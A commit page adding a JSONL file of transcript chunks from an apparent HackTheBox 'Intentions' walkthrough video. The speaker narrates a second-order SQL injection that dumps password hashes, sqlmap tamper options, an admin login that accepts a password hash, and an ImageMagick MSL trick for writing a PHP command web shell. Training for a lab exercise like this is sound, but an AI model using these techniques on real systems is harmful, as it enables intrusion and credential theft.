k3nn3dy commited on
Commit
9be1c2c
·
verified ·
1 Parent(s): 8317627

Add HackTheBox_-_Intentions.jsonl

Browse files
Files changed (1) hide show
  1. HackTheBox_-_Intentions.jsonl +65 -0
HackTheBox_-_Intentions.jsonl ADDED
@@ -0,0 +1,65 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {"text": "what's going on YouTube this is ipack I'm doing intentions from hack the box which I had a lot of fun doing this box there are a lot of nice challenging things to do it starts off with the second order SQL injection something I don't see that much but I've definitely seen it happen in the real world and it's hard to automatically detect this because you have to put tainted information in the database then hit another page that causes the SQL injection bit tricky to find but once we do it's rather easy to exploit and if you have troubles I also show you can exploit it with SQL map with that you can dump the database you can't really crack any passwords but if you enumerate the API you can discover that a V2 endpoint of login allows you logging in with the password hash instead of the password itself which is a bit odd but you get logged in as an admin user and then exploit image magic in a way I've", "start": 0.199, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
2
+ {"text": "never exploited before it was pretty fun and then you get a shell to the box and exploit a capability binary like a set uid binary where you can leak one bite of a file at a time so it's a pretty fun coding challenge so with all that being said let's just jump in as always we start off with an end map so- SCC for default scripts SV enumerate versions OA output all formats put in the end map directory and call it intentions then the IP address of 1010 111220 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 its Banner tells us it's running open SSH on a Ubuntu web server and then we also have HTTP on Port 80 running engine X also on Ubuntu there's not much more information I guess we have the title of the page is intentions so let's just go", "start": 43.52, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
3
+ {"text": "take a look at the web page itself so going to 1010 111220 we get the intentions image gallery where we can log in and register and right the bat when I click these I notice there's no like um new page being loaded right if I reload this page with the network tab Open click register log in we just see um it instant and this having a few JavaScript files so this looks like maybe like a view or react type of web page that doesn't have like actual Pages it's just like one big uh web page not sure exactly but later on I am going to enumerate those JavaScript files just to see if there's anything hidden there but that is just something to take note of whenever a page opts to be loaded this way um so I'm going to look at admin at intentions. htb password of password and let's intercept this request to see if it sends us to like a PHP script or what does this look", "start": 93.56, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
4
+ {"text": "like right because the request can turn out a lot of information and right off the bat if you look at this it doesn't look like this is leaking that much information right it's just an API login however they're both being um xsrf token in the header and cookie this is very much a larel thing I don't know of many other Frameworks that would put it in two places right off the bat um just as a default functionality right I don't think Jango does that also D Jango I think this name is Cerf token uh let's look at the Django docs real quick so if we do D Jango docs and let's see uh settings here we go and if we do c surf cookie name the default is curf token right and there's also a SE surf header name and the default is XC surf token with no um Dash and this is using xsrf with a dash so you can see um this type of information does leak a lot about the backend technology and it being Lal means I'd", "start": 153.16, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
5
+ {"text": "probably try a lot more like type juggling type of attacks if I get stuck um just because that is a common thing on LEL API servers but right now we're still in the enumeration phase so send this over to repeater we do get login error so let's try registering an account and seeing what we get so if I go to register let's do root atp. ro oh um that's the name email password's going to be password so we can now log in with ipac password uh rout ATP sec. Ro password and we get logged in so we have this page we probably have more JavaScript files I would guess if I refresh this uh wow oh that's a lot of images so we have a gallery. JS now and it looks like all JavaScript are within this JS directory so if I want to run a gobster I'm going to go Buster both the root domain and also um the JS so let's do this real quick so go Buster directory", "start": 228.36, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
6
+ {"text": "mode D HTTP 10101 to20 uh word list op SEC list Discovery web content ra small words. text and - o this would be go buster.", "start": 303.88, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
7
+ {"text": "root so we have that running and then we can also do the same exact thing but we're going to specify sljs and then the extension JS and we'll call this Guster DJs so now we're looking for all JavaScript files as well um and this will come in handy if we ever get hung we can take a look back at there right so I always like having Recon running in the background because again when you get stuck you can't hack time and it's just going to be painful waiting for something to finish so we have this Gallery page and it's sending us a bunch of pictures I see like uh genre architecture there was some genre animals food whatever if I click on feed food whatever if I go to profile we can see our favorite genres so if I click on feed real quick it starts off with food I'm going to remove food go back to feed and we just have nature so something is going on here I", "start": 320.56, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
8
+ {"text": "am going to try the um ssti payload I always like using just to see if this does anything so I'm going to copy this and this is just like an ssti that will crash a lot of um various things so if I just put it here submit preferences updated go into feed and it looks like we get nothing so what I'm going to do is let's intercept this request and see what it looks like on the wire so we refresh this page we get Gallery then we get this API request so I'm going to intercept this and we just have server error so it's not really sending us too much information um take this off refresh the settings page and let's see what could be a bad character I'm just going to delete all those I think the quotes are generally Bad characters and right now I'm trying to find out is the service side template injection or SQL injection right so I'm", "start": 394.319, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
9
+ {"text": "just creating errors on the page until I get to something that starts standing out so we send this status success server error and I'm going to delete a bunch of stuff so my genres is on the same field I can delete this from the header I need content type that's one of the important ones we don't need that probably don't need that see DNT and origin don't need there we go so we still get St of success so now I can quickly switch between the two so server error let's get rid of a double quote go over server error let's get rid of a single quote go back and we get success but nothing so sing quotes are failing it typically whenever a single quote is a bad character it's going to be some type of SQL injection so let's go back and make sure this is something that's good I think travel was a tag right so if I look at", "start": 461.039, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
10
+ {"text": "this uh we don't get anything um was it animals there we go so I always like seeing a success here with some data when I play for SQL injection so I'm going to do uh single quote we get server error I'm going to add a comment afterwards still get a server error if I do animals with a comment we get success nothing so animals probably does have something here or it's not um SQL injection we send this I probably needed to escape that or maybe not so it's only single quote that is causing this to error and we could have sent this to fuff and fuzzed it that way right but so I wonder if so there's a few ways we could do this in SQL I'm going to go over to SQL fiddle and play with something real quick so go here Google I probably need to take this off this go to SQL fiddle then view sample and I hate how the ID is like that let's see rev that should be fine", "start": 525.399, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
11
+ {"text": "build schema so this just lets us play with um SQL commands right we can do select star from docs run SQL and we get all the data so let's make this database a little bit more like what a Target is with genres so I'm just going to change content to genre and then we can put some um examples so like please example we'll do please subscribe uh animal example travel and I'll get rid of the fourth one okay uh unknown field content so we need to copy that there there we go now run it should be executing so there's a few ways that they could have the SQL um so we have animals right here so it could be like select all from docs where genre like um animals and that will or animal and the code could do a bunch of or statements so it could take every single comment we have and just do or genre like", "start": 614.76, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
12
+ {"text": "whatever um I guess we need to put wild cards here because I did not find it I think wild Cod is percent there we go so it could do that and then always always do a bunch of or likes whatever now MySQL also has a find in set functionality so if we look at it it's find and set and then the query and this so if we go back to a fiddle we can say where find in set and then we can do um let's see please genre like that run it and we get everyone where it pleases here now I made a slight mistake when I was building this because each of these imagine rev is going to be image name so this could be one image one image two image three um but we only have one field on this so I don't think like the pi could be tagged as two things um by that I mean anything in this Gallery all these just have one genre and that becomes important when we", "start": 708.0, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
13
+ {"text": "we're like figuring out what the query looks like because we're passing the entire thing here so if I do build schema we can say um is on this side and then we give it the multiple things so animals or animal run I wonder if we have to put this in quotes like that there we go and we can give it multiple so I can do please here and I I think this is going to get me both no native function so we have to put like this awesome so now we have like the database working as we expect so if it's using find and set all that's telling us is we also need a parenthesis so let's try adding that so we can do animals parenthesis and then we go back we still get a server error so what is if we just do this and don't end the comment so another thing that could be happening is maybe a space is a bad character in my sequel there's multiple ways to comment", "start": 795.32, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
14
+ {"text": "another just being the hashtag if we just do that we get the data back so the issue what we had going on is space is a bad character and since space is a bad character we can't use -- space Dash and one of the odd things is um we can't use Das Das comment Dash which is weird because the comments and any part of the SQL query except after Das Dash can behave as a space as we're going to find out in a minute it just can't behave as a space after Das Das um because Das Das specifically looks for a space and the comment Act as a delimer which isn't exactly the same thing so now we have this and all we want to do now is see if we can get Union injection I'm going to guess there's 1 2 3 four five six Fields so we can say like this and then if we did order by one this should pass but the reason it won't pass is because space is", "start": 882.32, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
15
+ {"text": "a bad character and we found that out when we were doing the comment so I'm going to replace all the spaces with comments and then we go back here and we get a query back so we know there's at least one column we assume there were six so if I do six and we get data back it works but it does not we get server error so let's do five go here and we get data back so there's five columns uh 1 2 3 4 5 6 so I'm guessing ID probably is not returned and that's just the application incrementing it so it returned just these five but um yeah so now we can go over to our Union so we can say Union select and then 1 2 3 4 5 go here and I expect expected to see oh the reason we're getting a bunch of stuff is because our Union is at the very bottom so what I want to do is get rid of animals in our genre so we only return one result and let's see one two", "start": 957.8, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
16
+ {"text": "three I don't see oh URL is used twice so it does return the ID back but URL is um it just does storage and then file we can two is used twice here and then the time for five is right there so now that everything is making sense we can go and um start extracting the database so I'm going to put everything in the file so where two is we can just write our own select statement so I can do um select group concat and I'm going to go to to information schema table I don't know why it started default into Duck Duck Go I'm sure it would have got me to the same place just want to go in here and I always start with schemata because this is going to tell me all the databases so schema name is going to be the name of the database so group concat schema name from information schema. schemata and what we have to do is", "start": 1035.4, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
17
+ {"text": "replace all the spaces which is annoying okay we run through and we can see two things and if you're curious exactly what's happening because I just realized I didn't fully explain it it's a second order SQL injection we're putting tent information in the database and then when the database pulls that information and uses it for for another query it's not doing proper like um prepared inject uh a proper SQL query and allows for injection so we're just putting bad information in that it later uses in a SQL query and it exploits it that way right so we did say intentions was the database so now I want to go back to the documentation and let's go to columns and I want table name column name so we can do group concat table name and then column name and I'm also going to add a uh colon between that and", "start": 1115.96, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
18
+ {"text": "information schema. columns then where the table schema is equal to intentions and we could also do like uh to get rid of a potential bad character whenever I can change between like an asky character or a special character I always favor the asky character okay so we send this query run it server error we screwed up somewhere uh like intentions so group concat table name column name oh I have column a typo columns there we go so this is a list of the table structure so I can just copy this and then we can do v um intentions.", "start": 1188.12, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
19
+ {"text": "table I'll call it I guess put that in and then I'm going to replace every comma with a line break on that and we have the table structure so I probably want to get um users's name email password and admin so let's do that in a query I'm going to call this dump um table struct so we save that so we have it in notes later and now we want to dump we called it what admin user email password I think it was user put a single quote email or a colon password and we don't need to do from information schemas we can just replace this with from users we don't have to do intentions. users because we're already in that database cuz that's what this query is using so we don't have to do any cross database stuff H that return server error we screwed something up admin so we got admin name email password group concat admin user email", "start": 1252.6, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
20
+ {"text": "password from users may we do intentions. users let's just add it uh repeater this still an error we have a typer somewhere I would bet let's just say group concat admin go back here server error okay where is this we have the union select one select group concat admen from is it just user no it's users huh select oh I have a single quote there there we go that was the issue so I'm going to control z a few times there we go get rid of that single quote we don't need intentions okay what the hell group can cat with just admin that works I think I had a space there nope no space admin user email password okay the Colon's fine it's name not user there we go that does it it's always the simple things okay we can copy this and then we can call this users. table paste it um said s comma or n g on users. table what's going on this is it from the future and if you didn't", "start": 1344.039, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
21
+ {"text": "want to exploit this SQL injection manually SQL map does support second order injection so to do it we just have to grab both requests so I'm going to go back to my profile we're going to set burp suite and we're going to turn intercept on click update to capture this request and then we can just save the item to a file or maybe copy to file I should say and let's make sure we're in the correct folder and I'm going to call this update genre. request save it and if we look at it we can see that's just the HTTP request so now let's go and capture the second one so I can just forward that we go back to here and this is where the actual SQL injection comes back so let's intercept this and we don't want this one or the JavaScript we want the api1 gallery user feed because this is where we actually", "start": 1521.84, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
22
+ {"text": "saw the SQL injection right the other things is just the page page that gets redirected to eventually land on this so let's copy this to file and we can say um get feed.", "start": 1584.12, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
23
+ {"text": "request and now we can SQL map so we can do SQL m-r and then we want to update the request and then the second parameter is going to be a second request and this one is uh what do we call it um there's my gobster window we called it get feed I don't know why I did a capital G there that threw me off and to speed things up I'm going to do D- dbms my SQL because we already know that and we can do dasb for batch and let's see if it finds it uh Json maybe it was D Das batch there we go so it's going to attempt to exploit it and I forgot one thing remember we cannot use spaces and there are tamper script so user share is it SQL map then tamper these are all the default tamper scripts and one is space to comment so let's add that so I'm going to add a um D- tamper is equal to space to comment and if this is going we can go back here look at profile and", "start": 1598.36, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
24
+ {"text": "I believe we'll see the profile be changing to various payloads that SQL map is using so this is one of the ones that it attempted to use going refresh and see it will keep on changing I was trying a union select right there and let's see it found Boolean blind and time base blind it didn't actually find Union injection we can change the level equal to five and risk equal to three and this may confirm more let's see wonder if we have to clear the history let's see and I forget exactly how to do that man is there fresh let's see dbms risk technique all flush session let's flush the session and now it's actually going to retest what it was doing before is detecting that we've already ran SQL map and it detected um what vulnerabilties it knew about so it didn't keep on trying things like that injection so I'm just going to speed up this video and we'll get to the", "start": 1681.64, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
25
+ {"text": "very end and now that SQL map is done when we added the level we can see it has now detected Union query I'm not sure exactly what the level changed what payload it now used that it allowed it um you can see this was the query here I actually took out the risk when I added flush session so you don't need risk you just need the level it looks like and this may look confusing the concat and then it just do it wig hex this isn't actually extracting data um whenever sqm map tests for things it likes using random strings so I bet if we grab this and do like Python 3 uh bytes from hex and put this in we can see it's just random strings so again SQ map just puts random strings and that searches the page for that random string and if it exists then it knows it's vulnerable right so this is just making um a random string I believe so you", "start": 1772.44, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
26
+ {"text": "could now add the um D- dump flag and it will start dumping all the data out of this and oh man I left the flush session so it's going to take a while to run um because it's going to redetect all the queries but that is going to be how to do this with SQL map hope you guys enjoyed it now let's get back to the video there we go so now we have a complete dump and we have password hashes for everything and I normally would go throw these in the crack and the crack but it doesn't get us anything in this context so I'm not going to waste your time by attempting to crack a bunch of these passwords but we do have two potential usernames we have um Steve intentions. htb and Greg intentions. htb and we also have the hash and I got stuck for quite a while trying to figure out what to do here but I went back to my Recon and looked at Guster", "start": 1831.399, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
27
+ {"text": "JS and let's g-v for 403 and we do have an admin. JS functionality so let's go take a look at what admin. JS is so let's just go here I can see admin. JS it's JS admin okay proxy is on intercept refresh uh burp Suite let's disable that so we can capture JavaScript refresh go to repeater Tab and we can look at all of this and how I knew this was view is if we look at this license so admin. js. license. text let's just look at that uh bootstrap where is it's part of the view router VJs so this is compiled JavaScript so it's can be a bit of a pain to read but if we scroll around we can figure out what's going on the main issue though is this file is huge you can look at like the scroll window and there's just so much information here so it reallys if we just search for like keywords we want like/ API if I search", "start": 1891.0, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
28
+ {"text": "for/ API we can see the axios get so this is getting API V2 admin image so we could try making a request to that so if I go back to burp suite and let's just make a request to this and I'm guessing this is some authorization error or four4 not found was that a post axio get API V2 admin image and then an ID it's redirecting to so I'm guessing it redirects us to the homepage because we're not authorized um yeah that must be it so we could try modify we could try looking for idore vulnerabil is what I'm trying to say on all those URLs that have a API so let's find next there's four matches so we have admin image image modify Gallery images so let's see V2 Gallery images and this is the same thing as the V1 endpoint it looks like I don't see what's different here were we actually is there V1 Gallery images there is so these end points look the same looking at content length right now 4644 4644 so", "start": 1983.6, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
29
+ {"text": "these requests are probably the same is there any other API there's an admin users functionality so admin what was that yeah SL admin users and this redirects us so there's probably authentication required there and that's it for hits on/ API if I search for just API in general uh we have 18 matches if I add a space before API we get down here which looks like messages which is a little bit weird because normally like these type of messages would be an arrest call by that I mean you'd like make a G request to API V2 SL messages and return a list of messages but we have it just hardcoded in JavaScript which is fine I guess so this is talking about something about dmca because we see copyrighted images slip into the gallery could be an image but here I have deployed the V2 API to production and started using the admin section let me know if you spot any bugs", "start": 2071.52, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
30
+ {"text": "major passwords are no longer needed to be transmitted to the server in clear text they're hashing them so we don't have any links to the admin V2 login but I would bet um we can just do a post and to slv2 off login and when we do that we can air a message that says the hash field is required because we have email already if we removed email we get email and hash so let's do email hash and let's use an admin so I'm going to was it here I had it we can use Steve intentions. htb and then the hash copy paste and we get a login success so what I'm going to do now is log out of the application and log back in with Steve so here let's um clear all my cookies so I can just go here where is storage we can delete all session data there we go and I'm going to log in with this information we're going to intercept and redirect it to V2 and see how the application behaves", "start": 2143.48, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
31
+ {"text": "so we do that let's go to the proxy intercept with burp Suite sign in and now we want to change this to be hash and this to be V2 and if you did that and did not get the request make sure your proxy settings or um this check boox is not enabled or you remve JS right here because by default you're not going oh no never mind um we're not making a request to JavaScript so ignore that but yeah let's just forward that now invalid credentials intercept so we do V2 email hash send this to repeater login error did I not copy the whole hash okay the hash was wrong I don't know what hash was in my clipboard so we can forward this along and now we got a requested Gallery so we're logged in now as Steve we don't see anything else here though um if I go back to my gobster let's do Guster root uh g-v 403 there is a slash admin that we", "start": 2234.8, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
32
+ {"text": "weren't able to see so let's go to slash admin and now we get logged in and these are the messages that we saw from that JavaScript before by click on user users we have a list of all the users here no functionality really we can't do anything with them but that's what that admin users endpoint did if I go to images we now have this edit button and we can do filters on the image so let us now intercept this so intercept is on going to intercept the request and let's take a look now the first thing to really try is just like um any type of file disclosure vulnerability right so let's go back down here and I'm going to change the path to be just like Etsy passwd and let's see if we can apply any type of effect on just a regular text file and we get bad image path um let's see if we get rid of the jpeg bad image path so that applies the effect if we", "start": 2324.96, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
33
+ {"text": "have a invalid file we also get it I was just enumerating the um error messages there because I wanted to see if it's a unknown file or bad image path right because if it's that unknown file here and it ended in. jpeg then we knew like your Etsy passwd request would have to end in JPEG but since bad image path is for both if it doesn't exist and doesn't end in the correct extension we can't enumerate that way we could still try like Etsy passwd and then a n bite or something let's say jpg like that still a bad path so that doesn't work the other thing we could test for is just like ssrf service side request forgery so I can do HTTP 101148 uh let's do Port 8000 NC lvmp 8000 send the request and we do have ssrf but it doesn't really bu us anything um let's see if we put an actual image here let's do make D dubdub dub uh F sl-", "start": 2392.56, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
34
+ {"text": "name.jpg uh sure let's do interpreter.", "start": 2467.04, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
35
+ {"text": "JPEG that is a JPEG and let's just see what it says do it still say bad image path or does it do something so it gives us the image back but there's not much we could do with it um let's see we did V test.jpg IPC was here bet image path so it actually has to be an image file I was hoping like if we gave it a text file had the the jpeg extension if it would give us the text back it doesn't so I don't know what to do with um this and I did a lot of research into just image magic exploits and let's see if I can find the blog post right away uh PHP object initialization vulnerability maybe it's probably instantiation or something let's see this is it the PT swarm this is a really good post on exploiting and it goes into image magic and also has a technique I learned about um exploiting image magic and it so I'm just trying to find the important parts", "start": 2476.319, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
36
+ {"text": "of this but I highly recommend reading the whole thing but we'll summarize it up in just a minute let's see discovering okay here we go so one cool thing is right here is image Magic's path person in so it talks about using this to change the size and this is something unique to image magic I believe so you can enumerate if that's being used so let's control Z request back to the beginning see and we need jpeg like that so we have a JPEG that's 69,000 in length right so I do 1x1 now it's only 959 so we've changed the image resolution just by passing the file name just because of image Magic's like um magic parsing I guess I should say right so that is one way they could enumerate and what I just noticed that I didn't catch before is htps goes to PHP but https with one slash goes to curl I just want to test that out real quick um I", "start": 2560.48, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
37
+ {"text": "have not actually done this so I don't know what I'm expecting https I wonder if I can do HTTP if I don't need s 10 10 14 8 8,000 because I don't feel like setting that up see I would need to um set up an SSL Handler to capture that and I don't feel like doing that right now so we will skip that but that is interesting that it supports that and let's see now something else makes sense so if you do just the one slash then the- K is going to be defaulted so you can just accept invalid certificates which is interesting but all this isn't really that needed so right here they're talking about how you can crash the worko process in image magic and when you upload a file in PHP it writes that temporary path to sltm PHP like um random six characters so you could just crash it 20,000 times and then you'd have a realistic chance of guessing this and", "start": 2633.839, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
38
+ {"text": "this could be anything you put into it so you could just put a shell into it and then if you had an include you can jump over to it but nowadays you don't need to upload files for an include you can just exploit it right away but um we don't have an include statement I'm just saying you can now predictably guess wherever you upload a file to because um this will crash it after uploading a file if that doesn't make sense how we're going to use this yet it will in a second so just like how we um specified this we can change the behavior of image magic and if we give it a MSL file or just an MSL file it doesn't have to be MSL if we give it this then it's going to go into its magic scripting language and then we can read a file and write a file so we could write a file to the web server and we just write a PHP", "start": 2711.119, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
39
+ {"text": "shell so let's go here and then rc2 the vid scheme what this is saying is we no longer have to Brute Force the/ PHP file like all before we're assuming we'd run this request 20,000 times so we have a realistic chance of guessing a file name on the server but the vid scheme allows for a wild card so if we have the scope be vid MSL then we can do to do sltm PHP star and that will just get the first file so that is what we will be doing and it gives a final payload so we have to send it in a multi-part form data because that's what enables PHP to start writing files to and we can give it arguments so let us see if I can get this right the first try because this was not intuitive so we don't want the content type to be application Json anymore we want it to be multi-art form data and then we want", "start": 2771.16, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
40
+ {"text": "to since the boundary is ABC you do Dash Dash and then ABC and I think we could leave all this the same let's see I have the request in another thing so that's fine so this is going to write a shell that's PHP eval I don't want to do eval because eval is just going to execute PHP code I'm going to make it system so that's automatically doing a system command because that's how I want to do it that's doing request I'm going to rename a to CMD just because that's what I normally use uh we don't need that comment there and then we need to write to a file and I don't know where the web app is off the top of my head but let's see we did have the full path in one of these let's see here we go I think storage let's go back to our SQL injection I'm going to save this and we can say call this dump user and then I'm just going to", "start": 2838.0, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
41
+ {"text": "change the genre back to travel then we make a request and that's not it maybe animal is it animal or animals there we go so we can get part of the file so we have storage animals I thought this would give us the full path public animals storage let's see how can we get the full path for this because that is the piece we are missing because it could be like ver dubdub duub HTML storage let's just guess this real quick R c.php let's see if this works so we send that and then we're going to need a send two parameters and Lille by default even if it's a post request will accept parameters in the header so you can just do it this way so path is equal to vid MSL like this and scope is equal to Charcoal I guess was it scope no it was effect and I'm going to call it shell actually so let's do 10 10", "start": 2910.079, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
42
+ {"text": "11220 shell. PHP file not found I'm going to send this request and we have bad image path that did not work refresh still file not found so we screwed something up if I get rid of path path is required so we'll put path back in I was pressing control Z I don't know was undoing is equal to what is it uh where' that page go see content form data I wonder if I need this to be jpeg file name nope it could be this path is wrong so let's go back to a legitimate request before we edit it oh it gives us the full path ver W HTML intentions storage I think that's what we want so I forgot the intentions piece still got bad image path form data swarm text plane so this piece must be wrong somehow um let's see argument value fit MSL multi-art form data that's looking good so let's try changing this to bmsl no", "start": 3006.319, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
43
+ {"text": "JPEG file name does not seem to matter um oh there's a space there that looks like it did it um we have a bad gateway error but I think that is expected so what happened was when I copy and pasted it from uh the website there was a space here and it copied which broke the request so um I guess the RFC is line break line break and then something we had line bre space line break and that did all sorts of bad things so we should have storage shell.", "start": 3136.799, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
44
+ {"text": "PHP so if we go shell. PHP we don't let's see is there a SL storage directory uh does not look like we have this file intentions could this potentially be a weird caching issue let me just send this to burp suite and we can test it intercept on so we definitely get file not found see change re Quest because it could be a post CMD equals who am I and we are calling it shell. PHP right uh it is another brip Suite window this can be shell and this will be exploit okay so ver dubdub duub HTML intentions storage shell.", "start": 3175.72, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
45
+ {"text": "PHP maybe we just can't write here and I don't think I have a typo unless it's intention and not intent itions we have it here ver HTML intentions Storage Public animals we could put in the animals directory because that's where images are and there's a higher chance of us being able to write to where an images and we also can know um where an imag is on the server okay wrote that I wonder if it's swarm MSL is it taking there's no way it's taking this file name that's a silly idea but doesn't hurt to check four four not found okay so we got to figure out where the animals are stored storage animals right copy this paste shell.", "start": 3247.48, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
46
+ {"text": "PHP not found huh let's see is there anything we're doing wrong get rid of those spaces there see if I put the host could be a virtual host header no I am really not sure why this isn't working 10 10 11220 that is the right IP let's see let's just rename it to something else rce PHP nope I am drawing a blank while that's not working do we not do two line breaks after that so what could be happening um I'm probably going to pause a video and wait about 10 minutes the actual exploit it is using so something crashes in the Apache worker after we write a file and that's why the PHP temporary file is not being cleaned up so it's writing a file to Temp PHP and then something random there's a possibility that anything I put here isn't working because it's using like maybe one of the random files is php1 so never going to hit that", "start": 3335.88, "duration": 0.0, "meta": {"video_id": "YmRDV0JR4qg", "title": "HackTheBox - Intentions", "url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"}}
47
